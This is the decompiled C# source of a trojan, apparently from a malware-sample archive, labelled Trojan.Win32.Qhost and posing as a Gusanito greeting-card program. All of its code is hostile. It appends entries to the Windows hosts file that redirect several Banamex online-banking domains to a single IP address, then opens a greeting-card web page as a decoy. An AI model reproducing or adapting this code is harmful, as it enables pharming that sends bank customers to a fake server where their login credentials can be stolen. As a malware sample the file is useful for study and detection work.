// Decompiled with JetBrains decompiler
// Type: Gusanito.com.Module1
// Assembly: Gusanito.com, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 400B3F11-2401-4766-8C54-D7D387751E86
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Qhost.aph-b3f918da151d54c153dbcbd6397a06865ec2d0e7fc43cb986d982b16e703ac2f.exe

using Gusanito.com.My;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.IO;

namespace Gusanito.com
{
  [StandardModule]
  internal sealed class Module1
  {
    [STAThread]
    public static void Main()
    {
      StreamWriter streamWriter = MyProject.Computer.FileSystem.OpenTextFileWriter("C:\\WINDOWS\\system32\\drivers\\etc\\hosts", true);
      streamWriter.WriteLine("189.163.58.225 www.banamex.com");
      streamWriter.WriteLine("189.163.58.225 www.banamex.com.mx");
      streamWriter.WriteLine("189.163.58.225 banamex.com.mx");
      streamWriter.WriteLine("189.163.58.225 banamex.com");
      streamWriter.WriteLine("189.163.58.225 www.bancanetempresarial.banamex.com.mx");
      streamWriter.WriteLine("189.163.58.225 bancanetempresarial.banamex.com.mx");
      streamWriter.WriteLine("189.163.58.225 boveda.banamex.com.mx");
      streamWriter.WriteLine("189.163.58.225 www.boveda.banamex.com.mx");
      streamWriter.Close();
      Interaction.Shell("c:\\windows\\explorer.exe /n,/e,http://www.gusanito.com/esp/tarjetas/postales/te_extrano/lejos_de_mi/780", AppWinStyle.NormalFocus);
    }
  }
}